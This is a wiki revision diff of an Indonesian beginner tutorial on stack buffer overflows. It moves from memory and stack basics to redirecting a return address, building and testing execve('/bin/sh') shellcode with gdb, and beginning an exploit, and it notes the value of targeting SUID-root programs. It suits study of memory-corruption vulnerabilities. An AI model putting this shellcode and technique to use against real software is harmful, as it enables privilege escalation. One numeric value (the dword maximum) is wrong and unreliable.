Difference between revisions of "Buffer Overflow"
(New page: 1. Pendahuluan Salah satu jenis vulnerability klasik yang hingga saat ini masih saja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya akan berusaha menjelaskan apa dan bag...) |
Onnowpurbo (talk | contribs) |
||
(2 intermediate revisions by the same user not shown) | |||
Line 1: | Line 1: | ||
− | + | ==Pendahuluan== | |
− | + | Salah satu jenis vulnerability klasik yang hingga saat ini masih | |
− | + | aja terjadi adalah [[Buffer Overflow]] ([[BO]]). Dalam tulisan ini saya | |
− | + | akan berusaha menjelaskan apa dan bagaimana [[BO]] terjadi dengan | |
− | + | cara sederhana hingga bisa dipahami (mudah-mudahan) oleh target | |
− | + | audiens pemula sekalipun. | |
− | + | Prinsip dasar [[BO]] sebenarnya sederhana saja yaitu: mengalihkan | |
− | + | alur program (tentu saja untuk mengarahkannya ke program/code | |
− | + | yang kita buat sendiri :)). | |
− | + | Hal itu bisa terjadi akibat data yang diinputkan oleh user | |
− | + | melebihi kapasitas tampung ([[buffer]]) yang disediakan oleh program. | |
− | + | Jika program tidak menghandel kejadian ini dengan baik, luapan | |
− | + | data tadi akan menimpa bagian-bagian penting lainnya dari | |
− | + | program. | |
− | + | Data yang diinputkan ini bisa kita atur sedemikian rupa sehingga | |
− | + | sebenarnya adalah sebuah program yang melakukan apa yang kita | |
− | + | inginkan. | |
− | + | Untuk memahami lebih lanjut terjadinya, sebelumnya kita perlu | |
− | + | mengenal bagaimana organisasi memori ketika program berjalan, | |
− | + | terutama bagian STACK yang merupakan target utama exploit BO, | |
− | + | selain itu juga kita perlu mengerti detail mekanisme pemanggilan | |
− | + | fungsi/procedure dalam C. Pengetahuan tentang assembler dan | |
− | + | debugging juga akan sangat membantu, tapi itu tidak mutlak, jadi | |
− | + | tenang saja, OK? :). | |
− | + | ==Dasar Teori== | |
− | + | ===Memori & addressing=== | |
− | + | Sebenarnya komputer yang kita anggap canggih ini cuma sederetan | |
− | + | data (yang disimpan di memori komputer). | |
gambar-2.1a. | gambar-2.1a. | ||
Line 46: | Line 46: | ||
Bottom Top | Bottom Top | ||
− | + | Ya, tidak lebih dari itu. | |
− | + | Atau begini... | |
gambar-2.1b. | gambar-2.1b. | ||
Line 64: | Line 64: | ||
|----| 0000 / Bottom | |----| 0000 / Bottom | ||
− | + | Setiap byte dari memori itu dinomori, supaya mudah mencarinya | |
− | + | Begitulah addressing dilakukan, mudah sekali bukan? | |
− | + | Setiap byte memori diatas tadi mampu menampung data sebesar... | |
− | + | ya 1 byte :). atau disebut juga 1 character, karena kalau kita | |
− | + | ngetik satu huruf berarti membutuhkan 1 byte (sebetulnya bukan | |
− | + | itu sih sebabnya, tapi anggap saja begitu deh). | |
− | + | 1 byte itu adalah angka, antara 0 s.d. 255. tergantung dulunya | |
− | + | diisi berapa. tapi tidak mungkin diluar itu karena kemampuan | |
− | + | seorang byte hanyalah segitu. | |
− | + | sebenarnya sih 1 byte itu terdiri dari 8 bit yang berjejer. | |
− | + | masing-masing hanya mampu bilang ya atau tidak (1 atau 0). Nah, | |
− | + | kombinasinya kan bisa berbeda-beda tuh? jadi dengan bersama-sama | |
− | + | mereka bisa menyatakan 256 nilai yang berbeda. Umumnya | |
− | + | dinyatakan dalam bilangan hexa 00 s.d. FF. | |
1 word artinya 2 byte. 1 dword = 2 word = 4 byte. | 1 word artinya 2 byte. 1 dword = 2 word = 4 byte. | ||
− | + | Jadi misalnya, kalau kita mengambil data 1 dword dari alamat | |
− | + | memori 1000, maka kita akan diberi segumpal data dari 1000, 1001, | |
− | + | 1002 dan 1003. | |
− | + | Persis seperti peribahasa, bersatu kita teguh, bercerai kawin | |
− | + | lagi, kapasitas representasi biner meningkat secara eksponensial | |
− | + | jika digabung. contoh, gabungan 2 byte menjadi 1 word mampu | |
− | + | menyatakan kombinasi antara 0..FFFF (0..65535) seterusnya | |
− | + | kapasitas 1 dword adalah 0..FFFFFFFF atau 0..4294836225. and on.. | |
− | + | and on.. | |
− | + | ===Program Execution=== | |
− | + | Pada saat program di-load ke memori, susunan bagian-bagiannya | |
− | + | adalah seperti gambar dibawah ini, (cat. angka-angka address di | |
− | + | sini hanya untuk keperluan visualisasi saja): | |
gambar-2.2. | gambar-2.2. | ||
Line 113: | Line 113: | ||
− | + | TEXT/CODE adalah tempat instruksi program berada, bagian ini | |
− | + | umumnya bersifat read-only, setiap usaha untuk merubahnya akan | |
− | + | berakhir di segmentation violaton. | |
− | + | DATA berisi data konstan, variable statik dll initialized/ | |
− | + | uninitialized data, kecuali terjadi stress yang menyebabkan | |
− | + | reorganisasi memori, ukurannya relatif tetap, meskipun tidak | |
− | + | read-only seperti bagian TEXT. | |
− | + | STACK tempat menampung tumpukan data sementara, dengan operasi | |
− | + | khas-nya yaitu PUSH untuk menaruh data diatas tumpukan, dan POP | |
− | + | untuk mengambil data dari atas tumpukan. seperti itulah caranya, | |
− | + | jadi dengan operasi PUSH/POP kita tidak bisa mengambil data dari | |
− | + | tengah. | |
− | + | HEAP adalah daerah memori yang bebas digunakan oleh program. | |
− | + | ===Operasi Stack=== | |
− | + | Seperti telah disebutkan diatas, kita hanya dapat menyimpan atau | |
− | + | mengambil tumpukan paling atas dari stack (atau paling bawah | |
− | + | tergantung bagaimana anda memandangnya :)) | |
− | + | Cuma 3 register yang terkait erat dalam operasi stack ini yaitu | |
− | + | Stack Segment, Stack Pointer dan Base Pointer (SS, SP dan BP), | |
− | + | kita tidak usah pedulikan segmen register, itu urusan kernel | |
− | + | (kecuali kalau kita mau buat program di DOS dengan model | |
− | + | segmented memory-nya), jadi yang perlu kita tahu cuma SP dan BP . | |
− | + | keduanya tidak lebih adalah penunjuk posisi stack. bedanya, SP | |
− | + | naik/turun oleh instruksi PUSH/POP, sementara BP tidak, terserah | |
− | + | mau kita isi berapa atau bahkan tidak dipakai sama sekali juga | |
− | + | tidak apa-apa. | |
+ | |||
+ | lho jadi apanya yang sulit? | ||
+ | ya tidak ada. | ||
− | + | perintah PUSH/POP bisa dilakukan untuk bilangan 16bit atau 32bit, | |
− | + | atau operasi khusus push all/pop all. SP berkurang/ bertambah | |
+ | sesuai tipe data ini (sejumlah byte yang diperlukan untuk | ||
+ | menampung data tsb). | ||
− | + | push 16bit_data, SP berkurang 2 | |
− | + | push 32bit_data, SP berkurang 4 | |
− | + | pusha, SP berkurang 16 | |
− | + | pushad, SP berkurang 32 | |
− | + | misalnya nilai SP pertama adalah 0100, | |
− | |||
− | |||
− | |||
− | |||
− | |||
char C; //character (1 byte) | char C; //character (1 byte) | ||
Line 167: | Line 167: | ||
int * P; //pointer (4 byte) | int * P; //pointer (4 byte) | ||
− | + | lalu kita melakukan perintah sbb: | |
push C | push C | ||
Line 174: | Line 174: | ||
push P | push P | ||
− | + | maka SP akan menjadi: 100-(2+2+2+4+4) = 88 | |
gambar-2.3a. | gambar-2.3a. | ||
Line 183: | Line 183: | ||
// | | | // | | | ||
000 88 100 | 000 88 100 | ||
− | + | ||
− | + | mestinya begitu :) | |
− | + | tapi atas nama optimasi, tampaknya gcc tidak perduli mau char | |
− | + | kek, integer kek atau pointer, semua sama di-push sebagai tipe | |
− | + | data 32bit. untuk kita sih ya oke-oke aja, malah tidak | |
− | + | repot-repot ngitungnya kan? | |
jadi SP = 100 - (4*4) = 84 | jadi SP = 100 - (4*4) = 84 | ||
Line 201: | Line 201: | ||
− | + | ===Stack dan Instruction Pointer (IP)=== | |
− | |||
− | |||
− | |||
− | |||
− | |||
+ | Satu hal yang penting adalah bahwa (operasi) stack juga digunakan | ||
+ | untuk menyimpan Instruction Pointer (IP), yaitu penunjuk arah | ||
+ | bagi program (seperti nomor baris perintah dalam BASIC) coba | ||
+ | perhatikan cuplikan kode 'canggih' ini. | ||
+ | |||
IP CODE | IP CODE | ||
--- -------- | --- -------- | ||
Line 217: | Line 217: | ||
. | . | ||
− | + | Jika kita bisa merubah IP 200 menjadi misalnya 110, kita akan | |
− | + | menghentikan derita tanpa akhir, endless loop dari GOTO diatas. | |
− | + | Dengan kata lain, merubah IP berarti juga *merubah* jalan hidup | |
− | + | program, 'cool' kan? :) | |
− | + | Kita tidak bisa menyimpan atau mengambil IP langsung dengan | |
− | + | push/pop, tapi melalui instruksi CALL dan RET, misalnya perintah: | |
call func | call func | ||
− | + | adalah ekuivalen dengan: | |
PUSH next_IP to STACK | PUSH next_IP to STACK | ||
JMP to address_func | JMP to address_func | ||
− | + | next_IP tidak lain adalah lokasi selanjutnya (di memori) dari | |
− | + | kode instruksi pemanggilan tersebut. | |
− | + | Sebaliknya instruksi RET akan membuat program menuju alamat yang | |
− | + | disimpan sebelumnya diatas. (atau tepatnya *apapun* yang terdapat | |
− | + | dalam tumpukan stack paling atas). | |
POP STACK to temp | POP STACK to temp | ||
JMP to temp | JMP to temp | ||
− | + | Seperti juga PUSH/POP instruksi CALL/RET juga merubah nilai SP, | |
− | + | tergantung jenis panggilannya, CALL/RET sebanyak 2 poin dan CALL | |
− | + | FAR/RETF sebanyak 4 poin. Tapi mungkin ini tidak terlalu penting | |
− | + | karena biasanya model pemanggilan di UNIX selalu RETF. | |
− | + | Hal pertama yang dilakukan oleh suatu fungsi adalah menyimpan | |
− | + | nilai SP baik-baik, dikunci oleh BP. karena pada saat akhir dia | |
− | + | harus mengembalikan nilai SP itu tanpa kurang suatu apapun, kalau | |
− | + | tidak nanti bisa digampar kernel, kill(1). | |
− | + | ==Pemanggilan fungsi== | |
− | + | Fungsi pemanggil (misalnya main()) melakukan hal-hal tertentu | |
− | + | ketika melakukan pemanggilan fungsi yang berkaitan dengan | |
− | + | bagaimana cara High Level Language (HLL, seperti BASIC, C/C++, | |
− | + | Pascal, dll.) mengirmkan parameter/argumen. | |
− | + | Dalam C/C++ parameter didorong ke dalam [[stack]], mulai dari ujung | |
− | + | (dari param terakhir sesuai syntax), berturut-turut sampai ke | |
− | + | param pertama), selanjutnya prosedur pemanggil juga bertanggung | |
− | + | jawab untuk meng-offset nilai SP lagi setelah fungsi kembali | |
− | + | (sebesar jumlah yang didorong ke stack). Untuk Pascal berlaku hal | |
− | + | yang sebaliknya, tapi sudahlah tidak perlu kita bahas :). | |
prototype: | prototype: | ||
Line 284: | Line 284: | ||
; yang akan melakukan penyesuaian ini | ; yang akan melakukan penyesuaian ini | ||
− | + | Karena optimisasi program, nilai yang ditumpuk ke stack berupa | |
− | + | kelipatan 16, sehingga transalasinya menjadi: | |
addl $-4,%esp ; penyesuaian awal, offset penala stack | addl $-4,%esp ; penyesuaian awal, offset penala stack | ||
Line 297: | Line 297: | ||
− | + | Dalam HLL juga dikenal apa yang disebut dengan prolog dan epilog. | |
− | + | Sesuai namanya prolog terjadi pada awal fungsi: | |
pushl %ebp ; BP disimpan ke stack | pushl %ebp ; BP disimpan ke stack | ||
movl %esp,%ebp ; BP disamakan nilainya dengan SP | movl %esp,%ebp ; BP disamakan nilainya dengan SP | ||
− | + | jika terjadi operasi stack, misalnya memanggil fungsi lain yang | |
− | + | menggunakan parameter, stack alignment 16 dilakukan dengan | |
− | + | mengurangi SP sebesar 8. hal ini disebabkan karena instruksi call | |
− | + | sebelumnya telah mengkonsumsi stack 4 byte (push IP) serta push | |
− | + | BP juga telah mengurangi SP sebesar 4. | |
subl 8,%esp ; >prologue_set_stack_ptr | subl 8,%esp ; >prologue_set_stack_ptr | ||
− | + | dan epilog terjadi di akhir (sebelum instruksi "ret"): | |
movl %ebp,%esp ; SP disamakan nilainya dengan BP | movl %ebp,%esp ; SP disamakan nilainya dengan BP | ||
popl %ebp ; Nilai BP diambil dari stack | popl %ebp ; Nilai BP diambil dari stack | ||
− | + | atau disingkat: | |
leave ; sama saja dengan gabungan dua instruksi | leave ; sama saja dengan gabungan dua instruksi | ||
Line 323: | Line 323: | ||
− | + | ==Aplikasi== | |
− | + | ===Studi Program=== | |
− | + | Contoh program di sini menggunakan FreeBSD 4.7, jadi maaf-maaf | |
− | + | saja kalau sedikit berbeda, dengan pengantar yang sudah saya | |
− | + | jelaskan diatas, mohon disesuaikan sendiri :) | |
− | + | pertama kita lihat output dari program sederhana ini | |
contoh0.c | contoh0.c | ||
Line 348: | Line 348: | ||
option -dp menambahken keterangan tambahan dalam listing tsb. | option -dp menambahken keterangan tambahan dalam listing tsb. | ||
− | + | kita lihat listing assembly-nya dari file contoh0.s sbb: | |
------------------------------------------------------------ | ------------------------------------------------------------ | ||
.file "contoh0.c.c" | .file "contoh0.c.c" | ||
Line 379: | Line 379: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | Dibawah label func0 dan main, kita peroleh hasil yang sama | |
prolog: | prolog: | ||
Line 389: | Line 389: | ||
ret | ret | ||
− | + | Program ini memang tidak melakukan apa-apa, cuma untuk | |
− | + | menunjukkan fungsi prolog dan epilog. program ini juga | |
− | + | menunjukkan bahwa fungsi main() diperlakukan sama saja dengan | |
− | + | fungsi-fungsi lainnya, bedanya adalah bahwa main() adalah fungsi | |
− | + | pertama yang dipanggil. | |
− | + | Selanjutnya supaya tidak 'ribet', hasil program akan diekstrak | |
− | + | lebih sederhana seperti format diatas, dan kompilasi dilakukan | |
− | + | tanpa menggunakan option "-dp". | |
− | + | jika kita tambahkan result pada fungsi main() tadi sbb: | |
contoh0.c | contoh0.c | ||
Line 413: | Line 413: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | kita lihat dari listing dibawah, ternyata nilai pengembalian akan | |
− | + | disimpan di register EAX, dan setelah itu fungsi/program akan | |
− | + | langsung dihentikan/keluar. | |
------------------------------------------------------------ | ------------------------------------------------------------ | ||
Line 430: | Line 430: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | Jika kita tambah beberapa fungsi lain yang menggunakan parameter | |
− | + | misalnya menjadi seperti contoh1.c dibawah ini: | |
contoh1.c | contoh1.c | ||
Line 467: | Line 467: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | Ternyata konversi assembly untuk fungsi-fungsi func0 - func3 | |
− | + | tersebut semua sama saja, hanya berisi prolog dan epilog, | |
− | + | tampaknya selama parameter yang dilewatkan bertipe integer 32 bit | |
− | + | atau pointer, maka SP tidak akan diobok-obok oleh fungsi yang | |
− | + | dipanggil. Untuk keperluan BO, kebanyakan kita akan melakukan | |
− | + | passing pointer. | |
− | + | Untuk tipe data char/short, fungsi akan mengalokasikan stack | |
− | + | untuk menampung manipulasi data, sebagaimana variabel lokal, yang | |
− | + | akan dibahas d bagian selanjutnya, sedangkan untuk tipe data real | |
− | + | dipergunakan juga floating-point stack st0-st7. | |
− | + | Silakan buka comment diatas dan lihat sendiri listingnya :). | |
− | + | Pada fungsi main() mulai terjadi 'silat lidah' antara compiler | |
− | + | dengan assembler :), | |
------------------------------------------------------------ | ------------------------------------------------------------ | ||
Line 537: | Line 537: | ||
-SP setelah pemanggilan fungsi | -SP setelah pemanggilan fungsi | ||
− | + | Dari gambaran diatas, untuk ketiga fungsi tsb ternyata | |
− | + | pada akhirnya SP bernilai sama. | |
− | + | Dalam contoh selanjutnya kita akan membuat variabel lokal | |
contoh2.c | contoh2.c | ||
Line 581: | Line 581: | ||
-------------------------------------------------- | -------------------------------------------------- | ||
− | + | Fungsi func1 - func4 dibuat hanya untuk menunjukkan bahwa | |
− | + | pengalokasian stack juga dilakukan dalam alignment 16. listing | |
− | + | func1, func2 dan func3 adalah identik sbb: | |
func1, func2 & func 3: | func1, func2 & func 3: | ||
Line 591: | Line 591: | ||
; >default 8, +16 = 24 | ; >default 8, +16 = 24 | ||
− | + | Yang sedikit berbeda adalah func4, stack prolognya dikurangi lagi | |
− | + | sejumlah 1 paragraf sehingga total sub menjadi 40. | |
func 4: | func 4: | ||
Line 599: | Line 599: | ||
. ; >8 + 16 + 16 = 40 | . ; >8 + 16 + 16 = 40 | ||
− | + | Akses terhadap argumen yang diberikan, dapat dilihat | |
− | + | dalam listing func5 sbb: | |
func5: | func5: | ||
Line 620: | Line 620: | ||
ret ; > | ret ; > | ||
− | + | Gambarannya adalah sebagai berikut. Supaya mudah, kita asumsikan | |
− | + | bahwa posisi stack sebelum pemanggilan fungsi adalah 100 (Di | |
− | + | bawah ini hanya ditunjukkan sampai buf53), Ternyata dalam | |
− | + | mengalokasikan variabel lokal, dilakukan alignment 4 atau dword, | |
− | + | untuk string yang berisi lebih dari 3 character, sementara yang | |
− | + | isinya cuma 1 char tidak dialign sama sekali, coba tuh lihat | |
− | + | dibawah, buf50 mepet banget sama BP. | |
gambar-3.1b. | gambar-3.1b. | ||
Line 645: | Line 645: | ||
RET: Return Address | RET: Return Address | ||
− | + | Oh iya nanti lupa, seperti kita lihat diatas, posisi argumen/ | |
− | + | parameter adalah di sebelah kanan BP, jadi diakses dengan offset | |
− | + | positif terhadap BP, sebaliknya dengan variabel lokal. | |
− | + | ||
− | + | Eh... ngomong-ngomong, memang ada gunanya enggak sih, mengerti | |
− | + | tentang hal itu? Hm.. enggak ada ya :( | |
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | ===Mengalihkan Return Address=== | |
− | + | ||
+ | Mumpung masih hangat, mari kita coba membuat sebuah contoh | ||
+ | bagaimana caranya memotong kayu (lho? maaf barusan teringat lagu | ||
+ | TK hai tukang kayu), maksud saya adalah mengalihkan alur program | ||
+ | dengan cara merubah nilai return address yang tersimpan di stack. | ||
+ | Agar lebih mudah kita pakai saja variabel yang mepet ke BP diatas | ||
+ | tadi (bedanya cuma 1). | ||
+ | |||
+ | Seperti kita tahu bahwa besarnya stack yang dialokasikan untuk | ||
+ | mengamankan BP adalah sebesar 4 poin/byte. Dan disebelahnya | ||
+ | saudara-saudara... adalah...: Return Adress!!! | ||
+ | |||
+ | Untuk melaksanakan rencana jahat kita ini, kita perlu bantuan | ||
+ | sebuah pointer agar nanti bisa kita rubah seenak udel kita. | ||
− | + | kira-kira nanti begini: | |
char buf0[1]; | char buf0[1]; | ||
Line 676: | Line 676: | ||
int * ret; | int * ret; | ||
− | + | kemudian kita arahkan ret ke return address: tolong harap diingat | |
− | + | bahwa penambahan di bawah ini adalah untuk pointer ke character / | |
− | + | 1 byte. untuk tipe lain, akan berbeda pula incrementasi-nya, | |
− | + | untuk pointer ke integer, misalnya, setiap penambahan 1 poin akan | |
− | + | menggeser pointer sebanyak 4 byte / lokasi address. | |
− | + | ||
ret = buf0 +1 +4; | ret = buf0 +1 +4; | ||
− | + | atau kalo gcc rewel, bisa kita cast sebagai: | |
(char *) ret = buf0 +1 +4; | (char *) ret = buf0 +1 +4; | ||
− | + | akhirnya kita ubah return address :) | |
*ret = (hm... berapa ya?) | *ret = (hm... berapa ya?) | ||
− | + | sebaiknya kita gunakan variabel saja supaya gampang diubah, | |
− | + | sehingga lengkapnya program kita adalah: | |
contoh3.c | contoh3.c | ||
Line 725: | Line 725: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | Program diatas akan memindahkan alur program sejauh input yang | |
− | + | kita berikan. Jangan terlalu diperhatikan baris-baris perintah | |
− | + | main() sebelum pemanggilan func. itu cuma inisialisasi serta | |
− | + | pengechekan input. | |
− | + | setelah pemanggilan fungsi func *seharusnya* program melaksanakan | |
− | + | perintah berikutnya yaitu print#1, tapi jika kita inputkan suatu | |
− | + | nilai tertentu sebagai argument maka program akan dilompatkan | |
− | + | sejauh nilai yang kita berikan. | |
[aa]$./contoh3 | [aa]$./contoh3 | ||
Line 741: | Line 741: | ||
print#4 shell2: /usr/local/bin/bash | print#4 shell2: /usr/local/bin/bash | ||
− | + | kita coba beberapa buah nilai: | |
[aa]$./contoh3 1 | [aa]$./contoh3 1 | ||
Line 760: | Line 760: | ||
− | + | Maksudnya apa sih? | |
− | + | ||
− | + | Oh iya, saya belum cerita ya? maksudnya kita mau mencoba untuk | |
− | + | (misalnya) melompat langsung kepada printf#3, melewati print#1 | |
− | + | dan print#2. | |
− | + | ||
− | + | kita debug saja deh... | |
[aa]$gdb -q contoh3 | [aa]$gdb -q contoh3 | ||
Line 827: | Line 827: | ||
[aa]$ | [aa]$ | ||
− | + | Cuekin saja baris-baris kode diatas tidak kita perlukan, Yang | |
− | + | kita butuh adalah address setelah func dipanggil (address ini | |
− | + | di-push ke stack pada saat pemanggilan func, nilai inilah yang | |
− | + | kita rubah dalam fungsi func) | |
− | + | ||
. | . | ||
0x804822d <main+65>: call 0x80481c4 <func> | 0x804822d <main+65>: call 0x80481c4 <func> | ||
Line 837: | Line 837: | ||
. | . | ||
− | + | ...serta address setelah print#2 dipanggil. kita akan | |
− | + | mengalihkan alur program ke sini. | |
. | . | ||
Line 845: | Line 845: | ||
. | . | ||
− | + | Untuk mengalihkan alur program dari address pertama diatas kepada | |
− | + | address kedua, berarti return address harus diubah (ditambah) | |
− | + | sebesar selisih antara keduanya. | |
− | + | Dengan aljabar sederhana kita peroleh displacement offsetnya | |
− | + | adalah sebesar: <main+113> - <main+70> = 113 - 70 = 43 | |
− | + | Mari kita coba sekali lagi... | |
− | |||
[aa]$./contoh3 43 | [aa]$./contoh3 43 | ||
Line 860: | Line 859: | ||
[aa]$ | [aa]$ | ||
− | + | OK! :)) | |
− | + | ===Exec Syscall=== | |
− | + | Setelah sukses pertama membelokkan alur program ke tempat yang | |
− | + | kita kehendaki selanjutnya kita perlu memilih apa yang akan kita | |
− | + | jalankan dan dimana ditempatkannya. Umumnya program akan | |
− | + | diarahkan untuk menjalankan shell /bin/sh, karena dari situ | |
− | + | praktis kita dapat menjalankan yang lainnya terserah kita, | |
− | + | apalagi jika program yang diekploit tersebut SUID root maka tunai | |
− | + | sudah suratan, dan mereka hidup bahagia selamanya sampai akhir | |
− | + | hayat. eng- ing- eeeng... | |
− | + | untuk spawning shell code kita lihat lihat dan pelajari prototype | |
− | + | dari fungsi execve(2). | |
[aa]$man execve | [aa]$man execve | ||
Line 894: | Line 893: | ||
Execve() transforms the calling process.. bla-bla-bla... | Execve() transforms the calling process.. bla-bla-bla... | ||
− | + | Fungsi ini adalah embahnya fungsi-fungsi exec yang lain, | |
− | + | front-end-nya bisa berupa execl, execlp, execle, exect, execv | |
− | + | dan execvp. Jika execve sukses dijalankan, selanjutnya program | |
− | + | kita bisa jalan sendiri tidak perlu lagi balik atau terikat oleh | |
− | + | proses yang memanggilnya. Cocok-lah dengan keinginan kita :) | |
− | + | arg1 (path) harus berisi path string lengkap dari program yang | |
− | + | akan kita jalankan, sementara arg2 (argv), adalah argumen list | |
− | + | (array dari strings alias pointer ke pointer). | |
− | + | Kedua argumen ini *harus* diisi dengan benar. | |
− | + | kita isi arg1 (path) dengan string "/bin/sh" (shell), dan arg2 | |
− | + | dengan pointer ke string tsb. dengan NULL sebagai terminator. | |
− | + | baca-baca juga manual exit(3) dan _exit(2) ya? | |
− | |||
− | |||
+ | langsung saja kita lihat program berikut listing assembly-nya: | ||
+ | |||
contoh4.c | contoh4.c | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
Line 925: | Line 924: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | Hm... sebentar, kita bahas dulu dua instruksi assembler yang agak | |
− | + | mirip-mirip, dan bisa membingungkan bahkan menyesatkan yaitu MOV | |
− | + | mem,reg dengan LEA mem,reg: LEA artinya Load Effective Address, | |
− | + | sementara MOV artinya menyalin/mengkopi isi memori/register. | |
gambar-3.3. | gambar-3.3. | ||
Line 938: | Line 937: | ||
000 92 100 | 000 92 100 | ||
− | + | misalkan jika nilai SP sekarang adalah 92, maka instruksi MOVL | |
− | + | %ESP,%EAX akan menyalin *isi* ESP seukuran dword atau 12345678 | |
− | + | kedalam EAX. jadi, EAX=12345678, sedangkan LEAL %ESP,%EAX akan | |
− | + | menyalin *address* ESP atau 00000092 ke dalam EAX. jadi, | |
− | + | EAX=00000092. | |
− | + | Dalam syntax intel, instruksi LEA EAX,ESP identik dengan | |
mov EAX, OFFSET [ESP] | mov EAX, OFFSET [ESP] | ||
− | + | Dalam syntax att, jika operand untuk mov memakai prefix ($) | |
− | + | maka yang diambil adalah: address-nya. Sebaliknya jika tidak | |
− | + | memakai prefix, maka yang diambil adalah: isi-memori-nya | |
movl $var,%eax => EAX = address var | movl $var,%eax => EAX = address var | ||
movl var,%eax => EAX = nilai/isi memori dari var | movl var,%eax => EAX = nilai/isi memori dari var | ||
− | + | hati-hati, immediate operand (biasanya berupa angka), justru | |
− | + | menggunakan prefix $ seperti dalam: movl $-123,%eax, artinya | |
− | + | menjadikan EAX bernilai -123. | |
− | + | Sebaliknya untuk pengalamatan tidak langsung oleh register, | |
− | + | notasinya adalah memakai tanda kurung. | |
mov (%ebx),%eax : salin isi memory yang alamatnya ditampung | mov (%ebx),%eax : salin isi memory yang alamatnya ditampung | ||
Line 965: | Line 964: | ||
mov %ebx,%eax : salin nilai BX kedalam AX | mov %ebx,%eax : salin nilai BX kedalam AX | ||
− | + | Kita lihat bahwa offset memory sama dengan nilai BX itu sendiri, | |
− | + | jadi jika/selama tidak terdapat displacement lainnya dalam base | |
− | + | indexing, maka instruksi: "lea (%ebx),%eax" hasilnya adalah sama | |
− | + | saja dengan instruksi: "mov %ebx,%eax" | |
− | + | begitu kira-kira, bingun? yah enggak apa-lah, saya juga enggak | |
− | + | yakin he-he-he. | |
− | + | (enggak deh, bo-ong,.. cuma becanda, segitu aja marah, bener | |
− | + | begitu koq. sungguh deh... please...) | |
− | + | udah ah, kita lanjut... listingnya adalah sbb: | |
------------------------------------------------------------ | ------------------------------------------------------------ | ||
Line 1,011: | Line 1,010: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | Kita ambil beberapa baris assembly yang kita perlukan untuk | |
− | + | menyusun program kita, yaitu pemanggilan spawning dengan execve | |
− | + | dan clean exit | |
[aa]$gdb -q contoh4 | [aa]$gdb -q contoh4 | ||
Line 1,083: | Line 1,082: | ||
− | + | ===Shellcode=== | |
− | + | Nah sekarang kita cukup punya bahan. Menggunakan trik lama, kita | |
− | + | masukkan address string ke stack dengan perintah: "call". | |
contoh5.c (assembler code) | contoh5.c (assembler code) | ||
Line 1,120: | Line 1,119: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | lalu tinggal kita masukkan ke dalam block assembler int main() { | |
− | + | asm(" xxxx "); }, selesailah sudah :) mari kita test hasilnya: | |
[aa]$./contoh5 | [aa]$./contoh5 | ||
Line 1,129: | Line 1,128: | ||
[aa]$ | [aa]$ | ||
− | + | Lalu kita ambil kode-bytenya dengan debugger. | |
− | + | Catatan: supaya kelihatan rapi sebaiknya gunakan mode layar | |
− | + | minimal 86 kolom. saran saya gunakan x windows atau pake putty | |
− | + | telnet, tinggal copy-paste :) | |
[aa]$gdb -q contoh5 | [aa]$gdb -q contoh5 | ||
Line 1,180: | Line 1,179: | ||
[aa]$ | [aa]$ | ||
− | + | hmm... tapi, masih banyak byte 00 di dalamnya, ini tidak bagus | |
− | + | buat BO, string yang akan kita inputkan bisa putus di tengah | |
− | + | jalan. Tapi tidak apalah, ini cuma sekedar contoh, banyak | |
− | + | shelcodes berserakan di rimba kang-ouw, tinggal kita pungut mana | |
− | + | yang kita mau sesuai OS target. | |
− | + | ===Merapikan Shellcode=== | |
− | + | Shellcode yang efektif, menghasilkan kode byte yang tidak | |
− | + | mengandung karakter kontrol (0 - 0x1F), malah kalau bisa juga | |
− | + | tidak mengandung simbol-simbol tertentu seperti backslash (\), | |
− | + | single/doublequotes ('/"), anglebracket (<>) dsb. | |
− | + | Trik-trik yang bisa digunakan a.l.: | |
− | + | # mengganti perintah MOV X dengan pasangan PUSH/POP | |
− | + | # menggunakan XOR untuk mereset nilai (membuatnya 0) | |
− | + | # mengganti perintah ADD N dengan SUB -N | |
− | + | lain-lain: | |
− | + | * jika menggunakan displacement index, perbesar/tambah offset hingga lebih dari 0x20 | |
− | + | * usahakan jumlah kode-byte merupakan kelipatan 4 | |
− | |||
− | + | Shellcode dibawah ini memodifikasi kodenya sendiri (self- | |
− | + | modifying) yaitu dengan mengisi NULL dibelakang "/bin/sh", serta | |
− | + | menyimpan nilai di dua lokasi memori setelahnya (seukuran 2 | |
− | + | pointer atau 8 byte). Jadi, program dibawah ini tidak bisa | |
− | + | langsung dijalankan, (hanya untuk diambil code-byte-nya saja). | |
contoh6.c | contoh6.c | ||
Line 1,283: | Line 1,281: | ||
(gdb) [aa]$ | (gdb) [aa]$ | ||
− | + | setelah kita lihat formatnya, langsung kita copy saja ke file | |
− | + | contoh7.c supaya tidak repot | |
[aa]$echo "x/56b main+3" | gdb -q contoh6 |\ | [aa]$echo "x/56b main+3" | gdb -q contoh6 |\ | ||
Line 1,300: | Line 1,298: | ||
[aa]$ | [aa]$ | ||
− | + | lalu kita edit. | |
contoh7.c | contoh7.c | ||
Line 1,322: | Line 1,320: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | Selanjutnya dikompile dan langsung dicoba: | |
[aa]$gcc -o contoh7 contoh7.c | [aa]$gcc -o contoh7 contoh7.c | ||
Line 1,341: | Line 1,339: | ||
− | + | ===Exploit=== | |
− | + | Pada saat sebuah fungsi dijalankan, dimanapun levelnya berada, | |
− | + | awalnya nilai SP-nya selalu sama (nilainya tergantung kepada OS | |
− | + | ybs.). Seperti diketahui, return value dari sebuah fungsi | |
− | + | diperoleh dari nilai register AX, maka dengan menyalin SP ke AX, | |
− | + | kita dapat mengambil nilai SP untuk diproses lebih lanjut. | |
unsigned long SP(void) { | unsigned long SP(void) { | ||
Line 1,353: | Line 1,351: | ||
} | } | ||
− | + | Namun sayangnya kita tidak tahu posisi sebenarnya dari buffer | |
− | + | yang akan kita overflow, jadi mau tidak mau ya harus dikira-kira | |
